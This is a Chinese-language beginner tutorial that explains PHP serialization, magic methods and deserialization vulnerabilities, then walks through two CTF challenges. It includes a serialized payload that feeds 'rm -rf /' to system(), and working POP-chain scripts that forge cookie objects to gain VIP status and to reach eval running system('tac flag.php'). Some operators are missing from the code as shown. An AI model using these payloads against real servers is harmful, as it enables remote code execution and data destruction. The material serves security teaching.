完全纯小白,从基本名词,到理解反序列化漏洞原理,到pop链构造

📅 2026/6/30 5:00:10
完全纯小白,从基本名词,到理解反序列化漏洞原理,到pop链构造
一定义序列化把内存中的“活”对象数据转换成字节流或JSON、XML等文本格式以便存储或传输。反序列化把字节流还原成内存中可用的对象。二具体化理解首先需要理解序列化和反序列化的是对象的属性相当于就是纯数据包含属性名和属性值不会序列化对象的类定义方法就是处理数据的函数因为不会传输保存在服务器序列化后的结果就是“原始数据内存对象”和“二进制网络/存储”之间的“中间表示层”方法包含pythonphpJava自带的和你定义的魔术方法一览表知道有方法就行用的时候在看具体用法生命周期阶段PHPPythonJava对象诞生构造__construct()init()构造函数类名同名对象消亡析构__destruct()del()finalize ()不推荐序列化前__sleep()getstate()writeObject()反序列化后__wakeup()setstate()readObject()当对象当字符串用__toString()str()toString()调用不存在的方法__call()call()无编译时检查访问不存在的属性__get() / __set()getattr() /setattr()无编译时检查把对象当函数调用__invoke()call()无克隆对象时__clone()copy()clone () 方法第一层网络传输时数据长什么样序列化后的数据就是网络传输时的那一串乱码。比如HTTP 请求网络上跑的全部是字节流0和1组成的二进制或者为了提高可读性转成 JSON/XML 这两个只是对序列化后的不同呈现情况做了一个命名文本格式。举个例子JSON 格式{name:张三,age:25,hobbies:[篮球,编程]}在内存里这是一个对象有 name、age、hobbies 属性还有 getName() 等方法。流程传输前调用 json_encode()进行序列把它变成这串 JSON 字符串。在网络上这串字符串被转成二进制01串通过网线/光纤传到对方服务器。对方收到后调用 json_decode()进行反序列化把字符串还原成对象。所以序列化后的数据就是网络传输时的载体。第二层反序列化后数据方法完整程序吗答案是数据方法完整对象但不等同于完整程序让我们分三步拆解步骤1反序列化还原了什么反序列化只还原了数据属性值不还原方法函数代码因为不传输没有被序列化。// 原始类定义存在服务器的代码文件里 class User { public $name; //定义类 public $age; //定义类 //自己定义一个方法函数记住这个sayHello() public function sayHello() { echo 我是 . $this-name; } } // 创建对象根据图纸造出来的实物 $user new User(); $user-name 张三; // 给属性赋值 $user-age 25; // 给属性赋值 // 序列化后的数据只包含属性不包含方法把$serialized理解为打包的这一坨数据的名字就行方便调用数据 $serialized O:4:User:2:{s:4:name;s:6:张三;s:3:age;i:25;}; // 反序列化后 $obj unserialize($serialized); //unserialize是反序列化函数 //unserialize($serialized)就是反序列化后的值然后赋值给$obj //数据是下面这个已经赋值给$obj了后面写$obj就可以调用了 $user new User(); $user-name 张三; $user-age 25; //调用方法 $obj-sayHello(); // 输出我是 张三 // $obj 可以调用 sayHello() 方法前面你在服务器定义的那个关键点反序列化出来的对象能调用方法但方法本身不是从序列化数据里来的而是来自服务器上已经存在的 User 类定义代码文件。步骤2数据方法完整程序为什么不对因为程序 类定义 对象状态 业务逻辑 依赖库 配置 ...不仅仅是一个对象 它的方法。反序列化只是还原了一个对象的状态而这个对象能调用的方法只是整个程序里的一小部分。步骤3那序列化数据到底传了什么序列化数据只传输了状态不传输行为。序列化数据包含序列化数据不包含属性值name张三, age25方法的源代码function sayHello () 的代码就是函数源码类型信息这是 User 对象类继承关系User extends Person引用关系对象 A 引用了对象 B静态变量、全局变量简单数据结构数组、字符串、数字数据库连接、文件等资源所以反序列化后的对象 数据属性 方法的引用指向类定义的指针它不是一个独立的程序而是依赖于服务器上已经存在的类定义和运行环境的半成品。第三层为什么这个问题对反序列化漏洞特别重要因为黑客可以控制数据但控制不了方法这就是反序列化漏洞的核心攻击逻辑黑客无法修改服务器上的类定义方法代码动不了。但黑客可以伪造序列化数据随意修改属性值。当反序列化后对象会调用服务器上的危险方法比如 system(), exec(), eval()。由于属性值被黑客污染了这些危险方法执行了黑客想要的命令。// 服务器上的类定义黑客改不了 class Admin { public $cmd; public function execute() { // 自己定义一个危险方法execute() system($this-cmd); //打开操作系统的命令行解释器Windows 是 cmd.exeLinux 是 /bin/sh } public function __destruct() { $this-execute(); // 对象销毁时自动调用 } } // 黑客构造的序列化数据只改属性不改方法 $serialized O:5:Admin:1:{s:3:cmd;s:8:rm -rf /;}; // 服务器反序列化 $obj unserialize($serialized); // 程序结束__destruct 自动触发$obj-execute() 被调用 // 执行了 system(rm -rf /) —— 服务器被删库关键黑客没有改 execute() 方法的代码改不了他只是把 $cmd 属性从 ls -la 改成了 rm -rf /。但方法执行时用的是被污染的属性值。先解释一个不带魔术方法得案例?php // 关闭所有PHP错误报告防止敏感信息泄露 error_reporting(0); // 显示当前文件源码用于代码审计 highlight_file(__FILE__); // 包含flag.php文件其中定义$flag变量 include(flag.php); /** * 定义ctfShowUser类 * 该类包含用户登录和VIP权限检查功能 */ class ctfShowUser{ // 用户名默认值xxxxxx public $usernamexxxxxx; // 密码默认值xxxxxx public $passwordxxxxxx; // VIP状态默认false public $isVipfalse; /** * 检查用户是否为VIP * return bool 返回isVip属性值 */ public function checkVip(){ return $this-isVip; } /** * 用户登录验证 * param string $u 用户名 * param string $p 密码 * return bool 用户名和密码是否完全匹配 */ public function login($u,$p){ return $this-username$u $this-password$p; } /** * VIP一键获取flag功能 * 只有isVip为true时才会输出flag */ public function vipOneKeyGetFlag(){ if($this-isVip){ global $flag; // 引入全局变量$flag echo your flag is .$flag; }else{ echo no vip, no flag; } } } // 从GET参数获取用户名和密码 $username$_GET[username]; $password$_GET[password]; // 检查username和password是否都存在 if(isset($username) isset($password)){ // 从Cookie中反序列化user对象 $user unserialize($_COOKIE[user]); // 调用login方法验证用户名密码 if($user-login($username,$password)){ // 登录成功后检查VIP状态 if($user-checkVip()){ // 是VIP则输出flag $user-vipOneKeyGetFlag(); } }else{ // 登录失败提示 echo no vip,no flag; } }可以的看到第62行就有反序列化同时第67行如果判断为真就会输出flag所以我们要做的就是让判断为真想要为真就是将对象默认的public $isVipfalse;改为public $isViptrue记住这段代码是在后端我们改不了我们可以做的是传输条序列化的数据给程序让他反序列化对象实例化的时候能够将默认的public $isVipfalse;改为public $isViptrue然后因为$user unserialize($_COOKIE[user]); 反序列化的那段序列化值来自cookie所以我们把我们的序列化数据放入cookie里面及放在名为user的后面cookie在网页中按F12的应用程序里面序列化后的那串字符串就是pop链构造pop链1将源码复制过来ctf中都是在白盒中所以会给你源码只是不能改2用相关编辑器打开将需要改的属性保留其他删除,然后在后面加入$a new ctfShowUser();echo urlencode(serialize($a));将数据序列化并输出?php class ctfShowUser{ public $isVip true; } $a new ctfShowUser(); echo urlencode(serialize($a));然后在cookie中填入就行最后看一个魔术方法?php // 关闭所有PHP错误报告防止敏感信息泄露 error_reporting(0); // 显示当前文件源码用于代码审计 highlight_file(__FILE__); /** * 定义ctfShowUser类 - 主类 * 包含用户登录功能和析构方法 */ class ctfShowUser{ // 私有属性用户名默认xxxxxx private $usernamexxxxxx; // 私有属性密码默认xxxxxx private $passwordxxxxxx; // 私有属性VIP状态默认false private $isVipfalse; // 私有属性class对象默认info字符串但会在构造函数中被覆盖 private $class info; /** * 构造函数实例化info类对象赋值给$class属性 */ public function __construct(){ $this-classnew info(); } /** * 用户登录验证方法 * param string $u 用户名 * param string $p 密码 * return bool 用户名和密码是否完全匹配 */ public function login($u,$p){ return $this-username$u $this-password$p; } /** * 析构函数对象销毁时自动调用 * 调用$class对象的getInfo()方法 * 这是漏洞触发点 */ public function __destruct(){ $this-class-getInfo(); } } /** * info类 - 正常功能类 * 提供获取用户信息的功能 */ class info{ // 私有属性用户名默认xxxxxx private $userxxxxxx; /** * 获取用户信息方法 * return string 返回用户名字符串 */ public function getInfo(){ return $this-user; } } /** * backDoor类 - 后门类恶意类 * 提供代码执行功能 */ class backDoor{ // 私有属性要执行的代码 private $code; /** * 执行代码的方法 * 使用eval执行$code属性中的代码 * 这是真正的漏洞利用点 */ public function getInfo(){ eval($this-code); } } // 从GET参数获取用户名和密码 $username$_GET[username]; $password$_GET[password]; // 检查username和password是否都存在 if(isset($username) isset($password)){ // 从Cookie中反序列化user对象漏洞点用户可控 $user unserialize($_COOKIE[user]); // 调用login方法验证用户名密码但返回值未被使用 $user-login($username,$password); // 注意脚本结束时会触发__destruct()析构方法 }这里就有两个魔术方法__construct()和__destruct()这里可以看到第70行的class backDoor里面有一个public function getInfo()方法这个方法里面可以用eval执行代码那么我们让他执行system(tac flag.php);就可以直接让服务器读取出来这是执行代码转换为了执行系统命令所以要做两部分第一要让程序执行getInfo()方法第二呀让$this-code的值是system(tac flag.php)一触发getInfo()方法在44行public function __destruct(){ $this-class-getInfo(); }在程序结束时会进行这个意思时让$this-class这个对象调用getInfo()方法但是$this-class这个对象要为backDoor才行因为对象默认为info调用的getInfo()方法不会执行代码61和79行两个不同的类里面都有getInfo()方法如何让对象为backDoor呢用25行的魔术方法public function __construct(){ $this-classnew info(); }将new info() 改为new backDoor就行了在new ctfShowUser();的时候就会触发__construct()魔术方法所以pop链构造如下?php class ctfShowUser { private $isVip true; private $class info; public function __construct() { $this-class new backDoor(); } } class backDoor { private $code system(tac flag.php);; public function getInfo() { eval($this-code); } } $a new ctfShowUser(); echo urlencode(serialize($a));22行 $a new ctfShowUser(); 时 调用__construct()让$this-class new backDoor();完成对象匹配在new backDoor();时完成$code system(tac flag.php);属性值的匹配